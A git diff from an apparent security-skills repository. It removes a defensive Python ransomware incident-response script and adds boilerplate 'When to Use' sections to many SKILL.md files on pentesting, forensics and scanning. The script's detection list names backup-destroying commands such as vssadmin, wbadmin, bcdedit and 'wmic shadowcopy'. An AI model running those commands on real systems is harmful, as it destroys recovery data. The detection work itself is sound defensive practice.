str(item), - "extension": ext, - "family": RANSOMWARE_EXTENSIONS[ext], - "size": item.stat().st_size, - "modified": datetime.fromtimestamp(item.stat().st_mtime).isoformat(), - }) - self.extension_counts[ext] += 1 - self.affected_directories.add(str(item.parent)) - count += 1 - except PermissionError as e: - logger.warning(f"Permission denied: {e}") - except Exception as e: - logger.error(f"Error scanning {scan_path}: {e}") - - logger.info(f"Found {len(self.encrypted_files)} encrypted files") - return { - "total_encrypted": len(self.encrypted_files), - "extension_breakdown": dict(self.extension_counts), - "affected_directories": len(self.affected_directories), - "likely_family": self._identify_family(), - } - - def scan_for_ransom_notes(self) -> list: - """Scan for ransom note files.""" - logger.info("Scanning for ransom notes...") - for scan_path in self.scan_paths: - scan_path = Path(scan_path) - if not scan_path.exists(): - continue - for pattern in RANSOM_NOTE_PATTERNS: - try: - for note in scan_path.rglob(pattern): - if note.is_file(): - content = "" - try: - content = note.read_text(errors="ignore")[:2000] - except Exception: - pass - self.ransom_notes.append({ - "path": str(note), - "size": note.stat().st_size, - "modified": datetime.fromtimestamp(note.stat().st_mtime).isoformat(), - "content_preview": content[:500], - "bitcoin_addresses": self._extract_bitcoin_addresses(content), - "onion_urls": self._extract_onion_urls(content), - }) - except Exception as e: - logger.error(f"Error scanning for notes with pattern {pattern}: {e}") - - logger.info(f"Found {len(self.ransom_notes)} ransom notes") - return self.ransom_notes - - def _identify_family(self) -> str: - if not self.extension_counts: - return "Unknown" - most_common_ext = self.extension_counts.most_common(1)[0][0] - return RANSOMWARE_EXTENSIONS.get(most_common_ext, "Unknown") - - @staticmethod - def _extract_bitcoin_addresses(text: str) -> list: - btc_pattern = r'\b[13][a-km-zA-HJ-NP-Z1-9]{25,34}\b|bc1[a-zA-HJ-NP-Z0-9]{25,89}\b' - return re.findall(btc_pattern, text) - - @staticmethod - def _extract_onion_urls(text: str) -> list: - onion_pattern = r'[a-z2-7]{16,56}\.onion' - return re.findall(onion_pattern, text) - - -class BackupAssessor: - """Assess backup availability and integrity for recovery planning.""" - - def __init__(self): - self.backup_status = [] - - def check_vss_status(self) -> dict: - """Check Volume Shadow Copy status on Windows.""" - if os.name != "nt": - return {"status": "not_applicable", "platform": "linux"} - try: - result = subprocess.run( - ["vssadmin", "list", "shadows"], - capture_output=True, text=True, timeout=30, - ) - shadows = re.findall(r"Shadow Copy Volume: (.+)", result.stdout) - deleted = "No items found" in result.stdout or "no shadow copies" in result.stdout.lower() - return { - "status": "deleted" if deleted else "available", - "shadow_count": len(shadows), - "output": result.stdout[:2000], - } - except Exception as e: - return {"status": "error", "error": str(e)} - - def check_windows_backup(self) -> dict: - """Check Windows Server Backup status.""" - if os.name != "nt": - return {"status": "not_applicable"} - try: - result = subprocess.run( - ["wbadmin", "get", "versions"], - capture_output=True, text=True, timeout=30, - ) - versions = re.findall(r"Version identifier: (.+)", result.stdout) - return { - "status": "available" if versions else "no_backups", - "versions": versions[:10], - } - except Exception as e: - return {"status": "error", "error": str(e)} - - def check_backup_directory(self, backup_path: str) -> dict: - """Check if a backup directory exists and has recent files.""" - bp = Path(backup_path) - if not bp.exists(): - return {"path": backup_path, "status": "not_found"} - try: - files = list(bp.rglob("*")) - file_count = len([f for f in files if f.is_file()]) - if file_count == 0: - return {"path": backup_path, "status": "empty"} - newest = max(f.stat().st_mtime for f in files if f.is_file()) - return { - "path": backup_path, - "status": "available", - "file_count": file_count, - "newest_file": datetime.fromtimestamp(newest).isoformat(), - "total_size_gb": round(sum(f.stat().st_size for f in files if f.is_file()) / (1024**3), 2), - } - except Exception as e: - return {"path": backup_path, "status": "error", "error": str(e)} - - -class EncryptionScopeAssessor: - """Assess the scope of ransomware encryption across the environment.""" - - def __init__(self): - self.scope_data = defaultdict(list) - - def assess_windows_event_logs(self) -> dict: - """Check Windows event logs for ransomware indicators.""" - if os.name != "nt": - return {"status": "not_applicable"} - indicators = {} - # Check for VSS deletion events - try: - result = subprocess.run( - ["wevtutil", "qe", "Application", - "/q:*[System[Provider[@Name='VSS'] and (EventID=8193 or EventID=8194)]]", - "/f:text", "/c:20"], - capture_output=True, text=True, timeout=30, - ) - indicators["vss_events"] = result.stdout[:2000] if result.stdout else "No VSS events found" - except Exception as e: - indicators["vss_events_error"] = str(e) - - # Check for service stop events (ransomware often stops services) - try: - result = subprocess.run( - ["wevtutil", "qe", "System", - "/q:*[System[EventID=7036]]", - "/f:text", "/c:50"], - capture_output=True, text=True, timeout=30, - ) - indicators["service_stops"] = result.stdout[:2000] if result.stdout else "No service stop events" - except Exception as e: - indicators["service_stops_error"] = str(e) - - return indicators - - def check_running_encryption(self) -> dict: - """Check if encryption is still actively running.""" - try: - if os.name == "nt": - result = subprocess.run(["tasklist", "/FO", "CSV"], capture_output=True, text=True) - else: - result = subprocess.run(["ps", "aux"], capture_output=True, text=True) - suspicious = [] - suspicious_names = [ - "encrypt", "ransom", "lock", "crypt", "vssadmin", "wbadmin", - "bcdedit", "wmic shadowcopy", "cipher", - ] - for line in result.stdout.lower().split("\n"): - for name in suspicious_names: - if name in line: - suspicious.append(line.strip()) - return { - "active_encryption": len(suspicious) > 0, - "suspicious_processes": suspicious[:20], - } - except Exception as e: - return {"error": str(e)} - - -def generate_scope_report(incident_id: str, scanner: RansomwareScanner, - backup: BackupAssessor, output_dir: str): - """Generate a comprehensive ransomware scope assessment report.""" - os.makedirs(output_dir, exist_ok=True) - report = { - "incident_id": incident_id, - "assessment_time": datetime.now(timezone.utc).isoformat(), - "ransomware_family": scanner._identify_family(), - "encryption_scope": { - "total_encrypted_files": len(scanner.encrypted_files), - "extension_breakdown": dict(scanner.extension_counts), - "affected_directories": len(scanner.affected_directories), - }, - "ransom_notes": { - "total_found": len(scanner.ransom_notes), - "bitcoin_addresses": list(set( - addr for note in scanner.ransom_notes for addr in note.get("bitcoin_addresses", []) - )), - "onion_urls": list(set( - url for note in scanner.ransom_notes for url in note.get("onion_urls", []) - )), - }, - "backup_status": { - "vss": backup.check_vss_status(), - }, - "decryptor_check": { - "family": scanner._identify_family(), - "check_sources": DECRYPTOR_SOURCES, - "recommendation": "Check listed sources for available free decryptors", - }, - } - - report_path = os.path.join(output_dir, f"ransomware_scope_{incident_id}.json") - with open(report_path, "w") as f: - json.dump(report, f, indent=2) - logger.info(f"Scope report saved to: {report_path}") - - # Export encrypted files list - if scanner.encrypted_files: - csv_path = os.path.join(output_dir, f"encrypted_files_{incident_id}.csv") - with open(csv_path, "w", newline="") as f: - writer = csv.DictWriter(f, fieldnames=scanner.encrypted_files[0].keys()) - writer.writeheader() - writer.writerows(scanner.encrypted_files) - logger.info(f"Encrypted files list saved to: {csv_path}") - - return report - - -def main(): - parser = argparse.ArgumentParser(description="Ransomware Incident Response Automation") - parser.add_argument("--incident-id", required=True, help="Incident tracking ID") - parser.add_argument("--scan-paths", nargs="+", required=True, help="Paths to scan for encrypted files") - parser.add_argument("--backup-paths", nargs="*", default=[], help="Backup paths to check integrity") - parser.add_argument("--output-dir", default="./ransomware_ir_output", help="Output directory") - parser.add_argument("--max-files", type=int, default=10000, help="Maximum files to scan") - parser.add_argument("--check-processes", action="store_true", help="Check for active encryption processes") - - args = parser.parse_args() - - logger.info(f"Starting ransomware IR assessment for {args.incident_id}") - - # Scan for encrypted files - scanner = RansomwareScanner(args.scan_paths) - enc_results = scanner.scan_for_encrypted_files(max_files=args.max_files) - logger.info(f"Encryption scan: {enc_results}") - - # Scan for ransom notes - notes = scanner.scan_for_ransom_notes() - if notes: - logger.info(f"Found {len(notes)} ransom notes") - for note in notes[:5]: - logger.info(f" Note: {note['path']}") - if note.get("bitcoin_addresses"): - logger.info(f" Bitcoin addresses: {note['bitcoin_addresses']}") - - # Check backup status - backup = BackupAssessor() - vss_status = backup.check_vss_status() - logger.info(f"VSS status: {vss_status['status']}") - - for bp in args.backup_paths: - bp_status = backup.check_backup_directory(bp) - logger.info(f"Backup path {bp}: {bp_status['status']}") - - # Check for active encryption - if args.check_processes: - scope_assessor = EncryptionScopeAssessor() - active = scope_assessor.check_running_encryption() - if active.get("active_encryption"): - logger.critical("ACTIVE ENCRYPTION DETECTED - IMMEDIATE ISOLATION REQUIRED") - for proc in active.get("suspicious_processes", []): - logger.critical(f" Suspicious process: {proc}") - - # Generate report - report = generate_scope_report(args.incident_id, scanner, backup, args.output_dir) - logger.info(f"Assessment complete. Family: {report['ransomware_family']}") - logger.info(f"Total encrypted files: {report['encryption_scope']['total_encrypted_files']}") - - print(f"\nRansomware IR Assessment Complete") - print(f"Incident ID: {args.incident_id}") - print(f"Likely Family: {report['ransomware_family']}") - print(f"Encrypted Files: {report['encryption_scope']['total_encrypted_files']}") - print(f"Ransom Notes: {report['ransom_notes']['total_found']}") - print(f"Report: {args.output_dir}/ransomware_scope_{args.incident_id}.json") - - -if __name__ == "__main__": - main() diff --git a/skills/performing-soap-web-service-security-testing/SKILL.md b/skills/performing-soap-web-service-security-testing/SKILL.md index d2229ab3..9eaaf10a 100644 --- a/skills/performing-soap-web-service-security-testing/SKILL.md +++ b/skills/performing-soap-web-service-security-testing/SKILL.md @@ -15,6 +15,14 @@ license: Apache-2.0 SOAP (Simple Object Access Protocol) web services remain widely deployed in enterprise environments, financial systems, healthcare, and government integrations. Security testing of SOAP services involves analyzing WSDL (Web Services Description Language) definitions to understand available methods, testing for XML-based injection attacks (XXE, XPath injection, XML bombs), evaluating WS-Security implementation correctness, SOAPAction header spoofing, and assessing authentication and authorization controls. Unlike REST APIs, SOAP services use XML envelopes and often implement complex security standards that can be misconfigured. + +## When to Use + +- When conducting security assessments that involve performing soap web service security testing +- When following incident response procedures for related security events +- When performing scheduled security testing or auditing activities +- When validating security controls through hands-on testing + ## Prerequisites - Target SOAP web service endpoint URL diff --git a/skills/performing-sqlite-database-forensics/SKILL.md b/skills/performing-sqlite-database-forensics/SKILL.md index dbabf00f..8a87e3f9 100644 --- a/skills/performing-sqlite-database-forensics/SKILL.md +++ b/skills/performing-sqlite-database-forensics/SKILL.md @@ -15,6 +15,14 @@ license: Apache-2.0 SQLite is the most widely deployed database engine in the world, used by virtually every mobile application, web browser, and many desktop applications to store user data. In digital forensics, SQLite databases are critical evidence sources containing browser history, messaging records, call logs, GPS locations, application preferences, and cached content. Forensic analysis goes beyond simple SQL queries to examine the internal B-tree page structures, freelist pages containing deleted records, Write-Ahead Log (WAL) files preserving transaction history, and unallocated space within database pages where recoverable data may persist after deletion. + +## When to Use + +- When conducting security assessments that involve performing sqlite database forensics +- When following incident response procedures for related security events +- When performing scheduled security testing or auditing activities +- When validating security controls through hands-on testing + ## Prerequisites - DB Browser for SQLite (sqlitebrowser) diff --git a/skills/performing-ssl-certificate-lifecycle-management/SKILL.md b/skills/performing-ssl-certificate-lifecycle-management/SKILL.md index 87bbb41e..5d70108e 100644 --- a/skills/performing-ssl-certificate-lifecycle-management/SKILL.md +++ b/skills/performing-ssl-certificate-lifecycle-management/SKILL.md @@ -14,6 +14,21 @@ license: Apache-2.0 SSL/TLS certificate lifecycle management encompasses the full process of requesting, issuing, deploying, monitoring, renewing, and revoking X.509 certificates. Poor certificate management is a leading cause of outages and security incidents. This skill covers automating the entire certificate lifecycle using Python and ACME protocol tools. + +## When to Use + +- When conducting security assessments that involve performing ssl certificate lifecycle management +- When following incident response procedures for related security events +- When performing scheduled security testing or auditing activities +- When validating security controls through hands-on testing + +## Prerequisites + +- Familiarity with cryptography concepts and tools +- Access to a test or lab environment for safe execution +- Python 3.8+ with required dependencies installed +- Appropriate authorization for any testing activities + ## Objectives - Generate Certificate Signing Requests (CSRs) programmatically diff --git a/skills/performing-supply-chain-attack-simulation/SKILL.md b/skills/performing-supply-chain-attack-simulation/SKILL.md index 2293f31d..ed8f9c97 100644 --- a/skills/performing-supply-chain-attack-simulation/SKILL.md +++ b/skills/performing-supply-chain-attack-simulation/SKILL.md @@ -15,6 +15,14 @@ license: Apache-2.0 Software supply chain attacks exploit trust in package registries through typosquatting (registering names similar to popular packages), dependency confusion (publishing higher-version public packages matching private names), and compromised package distribution. This skill detects these attack vectors by computing Levenshtein distance between package names and popular PyPI packages, verifying package integrity via SHA-256 hash comparison, scanning for known CVEs with pip-audit, and testing dependency resolution order for confusion vulnerabilities. + +## When to Use + +- When conducting security assessments that involve performing supply chain attack simulation +- When following incident response procedures for related security events +- When performing scheduled security testing or auditing activities +- When validating security controls through hands-on testing + ## Prerequisites - Python 3.9+ with `pip-audit`, `Levenshtein`, `requests` diff --git a/skills/performing-thick-client-application-penetration-test/SKILL.md b/skills/performing-thick-client-application-penetration-test/SKILL.md index 63b1a07d..7f828950 100644 --- a/skills/performing-thick-client-application-penetration-test/SKILL.md +++ b/skills/performing-thick-client-application-penetration-test/SKILL.md @@ -15,6 +15,14 @@ license: Apache-2.0 Thick client (fat client) penetration testing assesses the security of desktop applications that run locally on user machines and communicate with backend servers. Unlike web applications, thick clients present a broader attack surface including local file storage, binary analysis, memory manipulation, DLL injection, process interception, and client-server communication. Common targets include banking applications, ERP clients (SAP GUI), trading platforms, healthcare systems, and legacy enterprise software. + +## When to Use + +- When conducting security assessments that involve performing thick client application penetration test +- When following incident response procedures for related security events +- When performing scheduled security testing or auditing activities +- When validating security controls through hands-on testing + ## Prerequisites - Application installer and valid credentials diff --git a/skills/performing-web-application-vulnerability-triage/SKILL.md b/skills/performing-web-application-vulnerability-triage/SKILL.md index f224832f..31292a8b 100644 --- a/skills/performing-web-application-vulnerability-triage/SKILL.md +++ b/skills/performing-web-application-vulnerability-triage/SKILL.md @@ -15,6 +15,14 @@ license: Apache-2.0 Web application vulnerability triage is the process of reviewing findings from DAST (Dynamic Application Security Testing) and SAST (Static Application Security Testing) tools to validate true positives, dismiss false positives, assign risk ratings using the OWASP Risk Rating Methodology, and prioritize remediation. Effective triage reduces alert fatigue and focuses development teams on the vulnerabilities that matter most. + +## When to Use + +- When conducting security assessments that involve performing web application vulnerability triage +- When following incident response procedures for related security events +- When performing scheduled security testing or auditing activities +- When validating security controls through hands-on testing + ## Prerequisites - DAST scan results (OWASP ZAP, Burp Suite, Acunetix) diff --git a/skills/performing-windows-artifact-analysis-with-eric-zimmerman-tools/SKILL.md b/skills/performing-windows-artifact-analysis-with-eric-zimmerman-tools/SKILL.md index 75933a9b..dbafc21c 100644 --- a/skills/performing-windows-artifact-analysis-with-eric-zimmerman-tools/SKILL.md +++ b/skills/performing-windows-artifact-analysis-with-eric-zimmerman-tools/SKILL.md @@ -15,6 +15,14 @@ license: Apache-2.0 Eric Zimmerman's EZ Tools suite is a collection of open-source forensic utilities that have become the global standard for Windows digital forensics investigations. Originally developed by a former FBI agent and current SANS instructor, these tools parse and analyze critical Windows artifacts including the Master File Table ($MFT), registry hives, prefetch files, event logs, shortcut (LNK) files, and jump lists. The suite integrates with KAPE (Kroll Artifact Parser and Extractor) for automated artifact collection and processing, producing structured CSV output that can be ingested into Timeline Explorer for visual analysis. EZ Tools are widely used by law enforcement, corporate incident responders, and forensic consultants worldwide. + +## When to Use + +- When conducting security assessments that involve performing windows artifact analysis with eric zimmerman tools +- When following incident response procedures for related security events +- When performing scheduled security testing or auditing activities +- When validating security controls through hands-on testing + ## Prerequisites - Windows 10/11 or Windows Server 2016+ analysis workstation diff --git a/skills/performing-wireless-network-penetration-test/SKILL.md b/skills/performing-wireless-network-penetration-test/SKILL.md index 492b23c2..5fb87625 100644 --- a/skills/performing-wireless-network-penetration-test/SKILL.md +++ b/skills/performing-wireless-network-penetration-test/SKILL.md @@ -15,6 +15,14 @@ license: Apache-2.0 Wireless penetration testing evaluates the security of an organization's WiFi infrastructure including encryption strength, authentication mechanisms, rogue access point detection, client isolation, and network segmentation. Testing covers 802.11a/b/g/n/ac/ax protocols, WPA2-PSK, WPA2-Enterprise, WPA3-SAE, captive portals, and Bluetooth/BLE where in scope. + +## When to Use + +- When conducting security assessments that involve performing wireless network penetration test +- When following incident response procedures for related security events +- When performing scheduled security testing or auditing activities +- When validating security controls through hands-on testing + ## Prerequisites - Written authorization specifying wireless scope (SSIDs, BSSIDs, physical locations) diff --git a/skills/scanning-container-images-with-grype/SKILL.md b/skills/scanning-container-images-with-grype/SKILL.md index e3eebe78..c8ab8ca9 100644 --- a/skills/scanning-container-images-with-grype/SKILL.md +++ b/skills/scanning-container-images-with-grype/SKILL.md @@ -15,6 +15,14 @@ license: Apache-2.0 Grype is an open-source vulnerability scanner from Anchore that inspects container images, filesystems, and SBOMs for known CVEs. It leverages Syft-generated SBOMs to match packages against multiple vulnerability databases including NVD, GitHub Advisories, and OS-specific feeds. + +## When to Use + +- When conducting security assessments that involve scanning container images with grype +- When following incident response procedures for related security events +- When performing scheduled security testing or auditing activities +- When validating security controls through hands-on testing + ## Prerequisites - Docker or Podman installed diff --git a/skills/scanning-kubernetes-manifests-with-kubesec/SKILL.md b/skills/scanning-kubernetes-manifests-with-kubesec/SKILL.md index 06302fc2..660bce00 100644 --- a/skills/scanning-kubernetes-manifests-with-kubesec/SKILL.md +++ b/skills/scanning-kubernetes-manifests-with-kubesec/SKILL.md @@ -15,6 +15,14 @@ license: Apache-2.0 Kubesec is an open-source security risk analysis tool developed by ControlPlane that inspects Kubernetes resource manifests for common exploitable risks such as privilege escalation, writable host mounts, and excessive capabilities. It assigns a numerical security score to each resource and provides actionable recommendations for hardening. Kubesec can be used as a CLI binary, Docker container, kubectl plugin, admission webhook, or REST API endpoint. + +## When to Use + +- When conducting security assessments that involve scanning kubernetes manifests with kubesec +- When following incident response procedures for related security events +- When performing scheduled security testing or auditing activities +- When validating security controls through hands-on testing + ## Prerequisites - Kubernetes manifest files (YAML/JSON) for Deployments, Pods, DaemonSets, StatefulSets diff --git a/skills/securing-helm-chart-deployments/SKILL.md b/skills/securing-helm-chart-deployments/SKILL.md index 217ba16b..3315158c 100644 --- a/skills/securing-helm-chart-deployments/SKILL.md +++ b/skills/securing-helm-chart-deployments/SKILL.md @@ -15,6 +15,14 @@ license: Apache-2.0 Helm is the Kubernetes package manager. Securing Helm deployments requires validating chart provenance, scanning templates for security misconfigurations, enforcing pod security contexts, managing secrets securely, and controlling RBAC for Helm operations. + +## When to Use + +- When deploying or configuring securing helm chart deployments capabilities in your environment +- When establishing security controls aligned to compliance requirements +- When building or improving security architecture for this domain +- When conducting security assessments that require this implementation + ## Prerequisites - Helm 3.12+ installed